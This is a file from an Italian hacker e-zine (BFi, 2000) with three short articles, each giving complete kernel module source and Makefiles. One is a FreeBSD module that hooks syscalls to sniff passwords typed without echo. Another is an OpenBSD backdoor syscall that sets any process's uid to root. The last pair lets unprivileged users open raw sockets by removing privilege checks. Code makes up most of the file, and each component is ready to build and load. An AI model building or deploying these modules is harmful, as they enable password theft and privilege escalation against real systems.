==============================================================================
-------------[ BFi numero 9, anno 3 - 03/11/2000 - file 8 di 21 ]-------------
==============================================================================


-[ THREADS ]------------------------------------------------------------------
---[ VARi


---[ iNTERCETTAZi0NE DELLE PASSW0RD iNSERiTE SENZA TERMiNAL		vecna
     ECH0 ViA KLD
---[ OpenBSD: THC BACKDOOR 						pIGpEN
---[ RAW SOCKETS 4 ALL (FreeBSD 4.x, OpenBSD 2.7)			pIGpEN


--[ iNTERCETTAZi0NE DELLE PASSW0RD iNSERiTE SENZA TERMiNAL ECH0 ViA KLD
---[ vecna <vecna@s0ftpj.org>

Articolo piccolo piccolo, ma che mi e` piaciuto scrivere. Tutto e` nato cosi`:

alle 10:20 di stamattina sono tornato a casa, dopo esser stato dall'ortolano,
e mi sono messo a programmare l'idea avuta a colazione;
alle 10:55 spengo il pc e corro fuori per non perdere il treno;
alle 21:00 ho ripreso mentre guardavo i cartoni su MTv;
alle 21:40 circa mi sono stancato;
alle 24:00 ho ripreso;
ora e` l'1:02 e inizio a scrivere cos'e` sta` porcheria, dopo una consulenza
via irc con LordFelix, e gli ultimi ritocchi.

Il funzionamento della getpass(3) e` semplice: leva dal terminale l'echo
locale in modo che l'utente possa scrivere la sua password senza che
essa venga visualizzata; per levare l'echo e` molto comodo usare la 
funzione tcsetattr definita nella libreria termios.h .

Un esempio che ho visto molto esplicativo e`:

	#include <stdlib.h>
	#include <stdio.h>

	#include <termios.h>
	#include <string.h>

	static struct termios stored_settings;

	void echo_off(void)
	{
		struct termios new_settings;
		tcgetattr(0,&stored_settings);
		new_settings = stored_settings;
		new_settings.c_lflag &= (~ECHO);
		tcsetattr(0,TCSANOW,&new_settings);
		return;
	}

	void echo_on(void)
	{
		tcsetattr(0,TCSANOW,&stored_settings);
		return;
	}

Per maggiori informazioni sulle potenzialita` della tcsetattr consultate
le man page tcsetattr(3) e termios(3).

Se usiamo strace (Linux) o ktrace (FreeBSD) vediamo che la tcsetattr non e`
altro che un wrapper alla ioctl(2).

QUINDI, se noi via LKM/KLD dirottiamo la ioctl() su una nostra funzione
possiamo capire se si sta` tentando di manipolare il terminale (grazie
al secondo argomento passato a ioctl) e possiamo ottenere maggiori
informazioni facendo un opportuno cast e leggendoci la struttura dati
opzionale passata come terzo argomento.

Con ktrace di un programmino come:

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

int main(void)
	{
	char *pass =malloc(128);
	pass =getpass("metti una pass che la intercetto :");
	return(EXIT_SUCCESS);
	}

vediamo:

   301 progra1  CALL  sigprocmask(0x1,0x28060040,0x28060050)
   301 progra1  RET   sigprocmask 0
   301 progra1  CALL  sigprocmask(0x3,0x28060050,0)
   301 progra1  RET   sigprocmask 0
   301 progra1  CALL  ioctl(0x3,TIOCSETAF,0xbfbffbc4)
   301 progra1  RET   ioctl 0

Quindi via KLD, sapendo che la ioctl riceve come argomenti:

struct proc *, 			(come classico)
struct ioctl_args *		(definita in modo da tenere gli argomenti
				 classici della ioctl(2) ):
struct ioctl_args 
	{
	int fd;	
	u_long com;
	caddr_t data;
	};

ci basta checkare struct->com che sia TIOCSETAF, poi fare un cast di una
struct termios *, sull'indirizzo contentuno in struct->data e verificare 
i flag selezionati e valutare quindi il reale intento della ioctl().

Sotto Linux, tanto per completezza:

ioctl(3, TCGETS, {B38400 opost -isig icanon -echo ...}) = 0

       // <include/asm-i386/termios.h>
       0x00005401  TCGETS            struct termios *
       0x00005402  TCSETS            const struct termios *
       0x00005403  TCSETSW           const struct termios *
       0x00005404  TCSETSF           const struct termios *

dalla man page ioctl_list(2).

Questo e` il kld per FreeBSD, fatto su FreeBSD 4.0 (tnx naif che in 3 giorni
mi ha masterizzato 4 cd diversi :) bei tempi quando lavoravamo :)
Putroppo non sapevo che nome dargli, chiedendo consglio a mia mamma ho
ottenuto come proposte solo "pippo" o "rain"... visto che e` da 4 giorni che
vado in giro  con l'ombrello e visto che sono italiano, questo kld ha preso
il nome di "piove".

<-| piove/piove.c |->
/* 
 * KLD by vecna@s0ftpj.org for FreeBSD 4.0 
 * This module shows how to intercept getpass(3) function and print anything
 * that is typed without terminal echo.
 * Sorry for my english, I like only milanese.
 */

#include <sys/param.h>
#include <sys/proc.h>
#include <sys/module.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/syscall.h>
#include <sys/sysent.h>
#include <sys/sysproto.h>
#include <sys/linker.h>
#include <sys/ttycom.h>

#include <termios.h>

static int procnum;

static int piove_ioctl(struct proc *p, struct ioctl_args *uap)
	{
	if(uap->com == TIOCSETAF)
		{
		struct termios *check;

		check =(struct termios *) uap->data;
		/* tnx to LordFelix :) */
		if(!(check->c_lflag & ECHO))
			procnum =p->p_pid;
		}

	return ioctl(p, uap);
	}

static int piove_read(struct proc *p, struct read_args *uap)
	{
	int ret;

	ret =read(p, uap);

	if(procnum)
		if(p->p_pid == procnum)
			{
			char *charptr =uap->buf;
			charptr[p->p_retval[0]] =0x00;

			/* example of reading password, is nice log on
			 * defined file, but this kld is only proof of
			 * concet :) 
			 */
			uprintf("pid [%d] on terminal without echo [%s]\n",
				procnum, charptr);
			procnum = 0;
			}

	return ret;
	}

static struct sysent piove[2] = 
	{
	{ 3, (sy_call_t *) piove_read  },
	{ 3, (sy_call_t *) piove_ioctl }
	};

static int init_module(module_t mod, int cmd, void *arg)
	{
        int ret = 0;

        switch (cmd) 
		{
		case MOD_LOAD:
			sysent[SYS_read] =piove[0];
			sysent[SYS_ioctl] =piove[1];
			uprintf(" getpass(3) kernel sniffer loaded\n");
			break;
		case MOD_UNLOAD:
			sysent[SYS_read].sy_call =(sy_call_t *)read;
			sysent[SYS_ioctl].sy_call =(sy_call_t *)ioctl;
			uprintf(" piove kld unloaded\n");
			break;
		default:
			ret = EINVAL;
			break;
		}
        return(ret);
	}

static struct moduledata piove_moddata =
	{
	"piove",
	init_module,
	NULL
	};

DECLARE_MODULE(syscall, piove_moddata, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
<-X->

tnx to: pIGpEN, bhe, io sono gia` al secondo kld in 5 giorni e 6 giorni fa`
        non avevo ancora chiaro cosa fosse una sysent, e` anche merito dei
	tuoi consigli & dei tuoi articoli
	THC - Attacking FreeBSD with Kernel Modules - pragmatic

Il modulo per ora non fa` altro che sparare il pid del processo e la password
in console, non logga su file ne` fa` altro, l'unica cosa che mi interessava
era indicare come leggere le password inserite in quel modo (e lo fa` sia
login, pgp/gpg, su e tutti gli altri sistemi che via console fanno sparire
l'echo) e direi che per essere 3 ore di lavoro sono abbastanza soddisfatto.

Per compilare il modulo si usa il classico makefile per i moduli fbsd:

<-| piove/Makefile |->
SRCS    = piove.c
KMOD    = piove
KO      = ${KMOD}.ko
KLDMOD  = t

.include <bsd.kmod.mk>
<-X->

Ogni giudizio cattivo, miglioria, consigli e report di kernel panic possono
essere inviati a vecna@s0ftpj.org, rispondero` volentieri perche` ultimamente
non ricevo mai una mail :)

ore 1:31 - fine, pufff :) 


-[ OpenBSD: THC BACKD00R
--[ pIGpEN <pigpen@s0ftpj.org>

	Il seguente codice e' il porting di una backdoor semplice, ma
	raffinata...

	No, l'idea non e' mia :) i crediti vanno a pragmatic / THC anche se
	e' facile che sia passata pure nella mente di molte altre persone...
	Se non altro lui e' stato quello che l'ha codata :) per FreeBSD
	vediamo come funziona il porting su OpenBSD...

	# make 
	# make load

	$ ps aux | grep vim
	pigpen   27318  0.0  6.8   884  1644 C3  I+     5:53PM    0:00.16 vim

	$ ./call 27318 0
	$ ps aux | grep vim
	root     27318  0.0  6.8   884  1644 C3  I+     5:53PM    0:00.16 vim

	Ops! Con quel processo possiamo ora scrivere su qualsiasi file :O

	$ ./call 27318 1001
	$ ps aux | grep vim
	deadhead 27318  0.0  6.8   884  1644 C3  I+     5:53PM    0:00.16 vim

	Ops! Il processo sara' a carico di deadhead :)

	Come funziona?

	Introducendo una nuova syscall che va a modificare i permessi sul
	processo...

	A differenza del src x fbsd di pragmatic, questo lkm permette di 
	scegliere l'uid in modo che un processo possa essere eseguito anche
	con permessi diversi da root...

<-| obsd_back/thc_back.c crc32: 1515909354 |->
/*
 * Name: OpenBSD backdoor
 * Date: Thu Jun 01 14:46:37 2000
 * Author: pIGpEN [ pigpen@s0ftpj.org, deadhead@sikurezza.org ]
 *
 * idea & credits go to pragmatic / THC 
 * 				 "Attacking FreeBSD with Kernel Modules"
 *
 * OpenBSD porting by	pIGpEN / s0ftpj
 *
 *
 * SoftProject Digital Security for Y2K (www.s0ftpj.org)
 * Sikurezza.org Italian Security MailingList (www.sikurezza.org)
 *
 * COFFEE-WARE LICENSE - This source code is like "THE BEER-WARE LICENSE" by
 * Poul-Henning Kamp <phk@FreeBSD.ORG> but you can give me in return a coffee.
 *
 * Tested on: OpenBSD 2.6 FRACTAL#1 i386
 * 
 * This is a simple but useful backdoor for OpenBSD based on a FreeBSD lkm
 * by pragmatic/THC you can read his paper: "Attacking FreeBSD with Kernel
 * Modules" to understand how to implement it also on a OpenBSD kernel...     
 *
 * Greetings to: bozo(iKX), koba (sikurezza.org), pragmatic (THC) for his
 * 		 work
 *
 * Consider this an example of lkm... don't use it!
 * I didn't cover the module because it must be considered only for 
 * educational purposes 
 */


#include <sys/param.h>
#include <sys/systm.h>
#include <sys/syscall.h>
#include <sys/mount.h>
#include <sys/conf.h>
#include <sys/syscallargs.h>
#include <sys/exec.h>
#include <sys/lkm.h>
#include <sys/file.h>
#include <sys/filedesc.h>
#include <sys/errno.h>
#include <sys/proc.h>

#define OFFSET	210

struct you_make_me_real_args {
	syscallarg(int) p_pid;	/* process to make with p_real uid */
	syscallarg(int) p_real;	/* p_real uid */
};
			   			  
static int
you_make_me_real (struct proc *p, void *v, register_t *retval) 
{	
	struct you_make_me_real_args *uap = v;
	struct proc *pr;

	if((pr = pfind(SCARG(uap, p_pid))) == NULL)
		return (ESRCH);
	
	pr->p_cred->pc_ucred->cr_uid = SCARG(uap, p_real);
	
	return 0;
}

static struct sysent you_make_me_real_sysent = {
	2,
	sizeof(struct you_make_me_real_args),
	you_make_me_real
};

MOD_SYSCALL( "thc_bck", OFFSET, &you_make_me_real_sysent);

int
thc_bck (struct lkm_table *lkmtp, int cmd, int ver)
{
	DISPATCH(lkmtp, cmd, ver, lkm_nofunc, lkm_nofunc, lkm_nofunc)
}
<-X->

<-| obsd_back/Makefile crc32: 2707935197 |->
SRCS=thc_back.c
OBJS=$(SRCS:.c=.o)

MODOBJ=bck.o

KMOD=thc_bck
CFLAGS+= -Wall -D_KERNEL -I/sys

all:	$(MODOBJ)

clean:
	rm -f $(OBJS) $(KOBJS) $(MODOBJ) $(KMOD)

load:
	modload -o $(KMOD) -e$(KMOD) $(MODOBJ)

unload:
	modunload -n $(KMOD)

$(MODOBJ): $(OBJS) $(KOBJS)
	$(LD) -r -o $(MODOBJ) $(OBJS) $(KOBJS)
<-X->

<-| obsd_back/call.c crc32: 1088581707 |->
/*
 * an example to interface our syscall
 */

#include <stdio.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <stdlib.h>

#define OFFSET 210

int
main(int argc, char **argv)
{
	int error;

	if(argc != 3) {
		printf("Usage:\n%s pid uid\n", argv[0]);
		exit(1);
	}
	
	error = syscall(OFFSET, atoi(argv[1]), atoi(argv[2]));

	if(error)
		perror("syscall()");

	return 0;
}
<-X->


-[ RAW S0CKETS 4 ALL ( FreeBSD 4.x, OpenBSD 2.7 )
--[ pIGpEN <pigpen@s0ftpj.org> 

Questo e' il codice di sraw per le versioni 4.x di FreeBSD e di OpenBSD...
Nella 4.x di FreeBSD niente di nuovo come FreeBSD 3.x e NetBSD il controllo
viene fatto tramite suser(): precedentemente (nelle 2.x) i permessi erano
controllati tramite SS_PRIV nella struttura socket attraverso so_state
(questo e' quanto viene fatto attualmente pure da altri kernel BSD come
OpenBSD, BSDI...)

Il codice per la so_state e' qualcosa di simile al seguente:

rip_usrreq()	
/* gestione dei PRU_* state tramite funzione tipica di quasi tutti i 
   kernel BSD (FreeBSD e' l'eccezione) */
{
	switch(richiesta) {
		case PRU_ATTACH:
				...
				if((so->so_state & SS_PRIV)==0) {
					...
					return EACCES;
				}
				.. allocazione inpcb ecc...
				break;
		....altre PRU_*...
	}
	...
}

Per quanto riguarda FreeBSD aggiungo due cenni sulla suser():

questa funzione e' diversa dalla 3.x, richiede solo il processo come potete 
vedere da suser(9).

Guardando poi kern/kern_prot.c:

int
suser(p)
struct proc *p;
{
	return suser_xxx(0, p, 0); 
	/* controlla i permessi ritornando EPERM nel caso in cui questi
	   non siano adeguati */
}

Nella compilazione del seguente codice ponete attenzione se avete IPSEC 
nel kernel...

<-| rawsocket/fbsd4-sock/sock4.c crc32: 1295344851 |->
/*
 * Date: Mon Jul 17 21:26:21 2000
 * Author: pIGpEN [ pigpen@s0ftpj.org, deadhead@sikurezza.org ]
 *
 * SoftProject 2000 - Digital Sekurity for Y2k
 * Sikurezza.org    - Italian Security MailingList
 *
 * Tested on: FreeBSD 4.0-RELEASE FreeBSD 4.0-RELEASE #26: Thu Ju i386
 *
 * All users are allowed to open raw sockets...
 * This kld disables EPERM in socket() and permits to allocate inpcb even if
 * the socket is raw and users haven't root permissions... bypassing suser()
 * in pru_attach() functions...
 *
 * If the kernel is installed with IPSEC 
 * #define IPSEC or you will have a kernel panic :)
 * else undefine it ...
 *
 * Note: My English sucks :) (My Italian too :))
 * 
 * Idea & Code for Linux by Gigi_Sull
 * Code for FreeBSD by pIGpEN / s0ftpj
 */


#include <sys/param.h>
#include <sys/module.h>
#include <sys/systm.h>
#include <sys/kernel.h>
#include <sys/protosw.h>
#include <sys/socket.h>
#include <sys/socketvar.h>

#include <net/route.h>

#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/in_pcb.h>
#include <netinet/ip.h>
#include <netinet/ip_var.h>

#define IPSEC	/* see comments */

extern struct protosw	inetsw[];
extern struct inpcbinfo	ripcbinfo;


static int rip_attach 		__P((struct socket *, int, struct proc *));
static int (*old_rip_attach)	__P((struct socket *, int, struct proc *));
static int module_handler	__P((module_t, int, void *));

#define attach(x)	inetsw[ip_protox[x]].pr_usrreqs->pru_attach

static int
module_handler(module_t mod, int cmd, void *arg)
{
	int s;
	
	switch(cmd) {
 		case MOD_LOAD:
			s = splnet();
			old_rip_attach		=	attach(IPPROTO_RAW);
	 		attach(IPPROTO_RAW)	=	rip_attach;
			attach(IPPROTO_ICMP)	=	rip_attach;
			attach(IPPROTO_IGMP)	= 	rip_attach;
			attach(IPPROTO_RSVP)	=	rip_attach;
			attach(IPPROTO_IPIP)	=	rip_attach;
			attach(IPPROTO_IDP)	=	rip_attach;
			attach(0)		=	rip_attach;
			splx(s);
			break;
			
		case MOD_UNLOAD:
			s = splnet();
			attach(IPPROTO_RAW)	=	old_rip_attach;
			attach(IPPROTO_ICMP)	=	old_rip_attach;
			attach(IPPROTO_IGMP)	=	old_rip_attach;
			attach(IPPROTO_RSVP)	=	old_rip_attach;
			attach(IPPROTO_IPIP)	=	old_rip_attach;
			attach(IPPROTO_IDP)	=	old_rip_attach;
			attach(0)		=	old_rip_attach;
			splx(s);
			break;
	}
	
	return 0;
}

static moduledata_t s_raw = {
	"S_Raw",
	module_handler,
	NULL
};

DECLARE_MODULE(S_Raw, s_raw, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);

extern int rip_sendspace, rip_recvspace;
	  
static int
rip_attach(struct socket *so, int proto, struct proc *p)
{
	struct inpcb *inp;
	int error, s;

	inp = sotoinpcb(so);
	if (inp)
		panic("rip_attach");
	/*
	 * if (p && (error = suser(p)) != 0)
	 * 	return error;
	 */

	error = soreserve(so, rip_sendspace, rip_recvspace);
	if (error)
		return error;
	s = splnet();
	error = in_pcballoc(so, &ripcbinfo, p);
	splx(s);
	if (error)
		return error;
	inp = (struct inpcb *)so->so_pcb;
	inp->inp_vflag |= INP_IPV4;
	inp->inp_ip_p = proto;
#ifdef IPSEC
	error = ipsec_init_policy(so, &inp->inp_sp);
	if (error != 0) {
		in_pcbdetach(inp);
		return error;
	}
#endif /*IPSEC*/
	return 0;
}
<-X->

<-| rawsocket/fbsd4-sock/Makefile crc32: 1422200088 |->
# SoftProject 2000 - Digital Sekurity for Y2k
# Sikurezza.org - Italian Security MailingList
#
# < pigpen@s0ftpj.org > 

.PATH: /sys/kern
SRCS	= sock4.c 
CFLAGS+= -I/sys
KMOD	= sock 
NOMAN	= t
KLDMOD	= t

KLDLOAD		= /sbin/kldload
KLDUNLOAD	= /sbin/kldunload

CLEANFILES+= ${KMOD}

load:
	${KLDLOAD} -v ./${KMOD}

unload:
	${KLDUNLOAD} -v -n ${KMOD}

.include <bsd.kmod.mk>
<-X->

<-| rawsocket/obsd-sock/obsd_sraw.c crc32: 3771710371 |->
/*
 * Name: SRaw for OpenBSD
 * Date: Fri Jul 28 13:41:36 2000
 * Author: pIGpEN [ pigpen@s0ftpj.org, deadhead@sikurezza.org ]
 *
 * SoftProject Digital Security for Y2K (www.s0ftpj.org)
 * Sikurezza.org Italian Security MailingList (www.sikurezza.org)
 *
 * COFFEE-WARE LICENSE - This source code is like "THE BEER-WARE LICENSE" by
 * Poul-Henning Kamp <phk@FreeBSD.ORG> but you can give me in return a coffee.
 *
 * Tested on: OpenBSD 2.7 FRACTAL#0 i386
 *
 * Giving all permission to open raw sockets...
 *
 * Supported Protocol for this SRaw:
 * 
 * IPPROTO_RAW, IPPROTO_ICMP, IPPROTO_IPIP, IPPROTO_IPV4, IPPROTO_IGMP
 *
 * Check if you have ipsec, mrouting on your kernel config and define it..
 */


#include <sys/param.h>
#include <sys/systm.h>
#include <sys/conf.h>
#include <sys/exec.h>
#include <sys/lkm.h>
#include <sys/protosw.h>

#include <sys/mbuf.h>
#include <sys/socket.h>
#include <sys/socketvar.h>
#include <net/if.h>
#include <net/route.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/in_pcb.h>

int	nopriv_rip_usrreq	__P((register struct socket *, int, 
				     struct mbuf *, struct mbuf *, 
				     struct mbuf *));

extern int	rip_usrreq	__P((register struct socket *, int,
				     struct mbuf *, struct mbuf *,
				     struct mbuf *));

extern struct protosw inetsw[];
extern u_char ip_protox[];
extern u_long rip_sendspace, rip_recvspace;
extern struct inpcbtable rawcbtable;

MOD_MISC("SRaw");

static int
SRaw_load(struct lkm_table *lkmtp, int cmd)
{
	if(cmd == LKM_E_LOAD) {
		
		int s;

		printf("SRaw - 0.1 beta\n");
		printf("sOftPj - Y2k\n");

		/*
		 * You can also add other protocols... with rip_usrreq or
		 * chage other pr_usrreq
		 */

		s = splnet();
		
		inetsw[ip_protox[IPPROTO_RAW]].pr_usrreq = nopriv_rip_usrreq;
		inetsw[ip_protox[IPPROTO_ICMP]].pr_usrreq = nopriv_rip_usrreq;
		inetsw[ip_protox[IPPROTO_IPV4]].pr_usrreq = nopriv_rip_usrreq;
		inetsw[ip_protox[IPPROTO_IPIP]].pr_usrreq = nopriv_rip_usrreq;
		inetsw[ip_protox[IPPROTO_IGMP]].pr_usrreq = nopriv_rip_usrreq;

		splx(s);
	}

	return 0;
}


static int
SRaw_unload(struct lkm_table *lkmtp, int cmd)
{
	if(cmd == LKM_E_UNLOAD) {
		int s;
		
		printf("SRaw - Unloaded\n");

		s = splnet();
		
		inetsw[ip_protox[IPPROTO_RAW]].pr_usrreq = rip_usrreq;
		inetsw[ip_protox[IPPROTO_ICMP]].pr_usrreq = rip_usrreq;
		inetsw[ip_protox[IPPROTO_IPV4]].pr_usrreq = rip_usrreq;
		inetsw[ip_protox[IPPROTO_IPIP]].pr_usrreq = rip_usrreq;
		inetsw[ip_protox[IPPROTO_IGMP]].pr_usrreq = rip_usrreq;

		splx(s);
	}

	return 0;
}


SRaw( lkmtp, cmd, ver)
struct lkm_table	*lkmtp;	
int			cmd;
int			ver;
{
	DISPATCH(lkmtp, cmd, ver, SRaw_load, SRaw_unload, lkm_nofunc);
}


int
nopriv_rip_usrreq(so, req, m, nam, control)
	register struct socket *so;
	int req;
	struct mbuf *m, *nam, *control;
{
	register int error = 0;
	register struct inpcb *inp = sotoinpcb(so);
#ifdef MROUTING
	extern struct socket *ip_mrouter;
#endif
	if (req == PRU_CONTROL)
		return (in_control(so, (u_long)m, (caddr_t)nam,
			(struct ifnet *)control));

	if (inp == NULL && req != PRU_ATTACH) {
		error = EINVAL;
		goto release;
	}

	switch (req) {

	case PRU_ATTACH:
		if (inp)
			panic("rip_attach");
		/* 
		 * if ((so->so_state & SS_PRIV) == 0) {
		 *	error = EACCES;
		 *	break;
		 * }
		 */

		if((so->so_state & SS_PRIV) == 0)
			so->so_state |= SS_PRIV;

		
		if ((error = soreserve(so, rip_sendspace, rip_recvspace)) ||
		    (error = in_pcballoc(so, &rawcbtable)))
			break;
		inp = (struct inpcb *)so->so_pcb;
		inp->inp_ip.ip_p = (long)nam;
		break;

	case PRU_DISCONNECT:
		if ((so->so_state & SS_ISCONNECTED) == 0) {
			error = ENOTCONN;
			break;
		}
		/* FALLTHROUGH */
	case PRU_ABORT:
		soisdisconnected(so);
		/* FALLTHROUGH */
	case PRU_DETACH:
		if (inp == 0)
			panic("rip_detach");
#ifdef MROUTING
		if (so == ip_mrouter)
			ip_mrouter_done();
#endif
		in_pcbdetach(inp);
		break;

	case PRU_BIND:
	    {
		struct sockaddr_in *addr = mtod(nam, struct sockaddr_in *);

		if (nam->m_len != sizeof(*addr)) {
			error = EINVAL;
			break;
		}
		if ((ifnet.tqh_first == 0) ||
		    ((addr->sin_family != AF_INET) &&
		     (addr->sin_family != AF_IMPLINK)) ||
		    (addr->sin_addr.s_addr &&
		     ifa_ifwithaddr(sintosa(addr)) == 0)) {
			error = EADDRNOTAVAIL;
			break;
		}
		inp->inp_laddr = addr->sin_addr;
		break;
	    }
	case PRU_CONNECT:
	    {
		struct sockaddr_in *addr = mtod(nam, struct sockaddr_in *);

		if (nam->m_len != sizeof(*addr)) {
			error = EINVAL;
			break;
		}
		if (ifnet.tqh_first == 0) {
			error = EADDRNOTAVAIL;
			break;
		}
		if ((addr->sin_family != AF_INET) &&
		     (addr->sin_family != AF_IMPLINK)) {
			error = EAFNOSUPPORT;
			break;
		}
		inp->inp_faddr = addr->sin_addr;
		soisconnected(so);
		break;
	    }

	case PRU_CONNECT2:
		error = EOPNOTSUPP;
		break;

	/*
	 * Mark the connection as being incapable of further input.
	 */
	case PRU_SHUTDOWN:
		socantsendmore(so);
		break;

	/*
	 * Ship a packet out.  The appropriate raw output
	 * routine handles any massaging necessary.
	 */
	case PRU_SEND:
	    {
		register u_int32_t dst;

		if (so->so_state & SS_ISCONNECTED) {
			if (nam) {
				error = EISCONN;
				break;
			}
			dst = inp->inp_faddr.s_addr;
		} else {
			if (nam == NULL) {
				error = ENOTCONN;
				break;
			}
			dst = mtod(nam, struct sockaddr_in *)->sin_addr.s_addr;
		}
#ifdef IPSEC
		if (!(error = check_ipsec_policy(inp, dst)))
#endif
		error = rip_output(m, so, dst);
		m = NULL;
		break;
	    }

	case PRU_SENSE:
		/*
		 * stat: don't bother with a blocksize.
		 */
		return (0);

	/*
	 * Not supported.
	 */
	case PRU_RCVOOB:
	case PRU_RCVD:
	case PRU_LISTEN:
	case PRU_ACCEPT:
	case PRU_SENDOOB:
		error = EOPNOTSUPP;
		break;

	case PRU_SOCKADDR:
		in_setsockaddr(inp, nam);
		break;

	case PRU_PEERADDR:
		in_setpeeraddr(inp, nam);
		break;

	default:
		panic("rip_usrreq");
	}
release:
	if (m != NULL)
		m_freem(m);
	return (error);
}
<-X->

<-| rawsocket/obsd-sock/Makefile crc32: 2086673923 |->
SRCS=obsd_sraw.c
OBJS=$(SRCS:.c=.o)

MODOBJ=SRaw.o

KMOD=SRaw
CFLAGS+= -D_KERNEL -I/sys

all:	$(MODOBJ)

clean:
	rm -f $(OBJS) $(KOBJS) $(MODOBJ) $(KMOD)

load:
	modload -o $(KMOD) -e$(KMOD) $(MODOBJ)

unload:
	modunload -n $(KMOD)

$(MODOBJ): $(OBJS) $(KOBJS)
	$(LD) -r -o $(MODOBJ) $(OBJS) $(KOBJS)
<-X->


==============================================================================
---------------------------------[ EOF 8/21 ]---------------------------------
==============================================================================
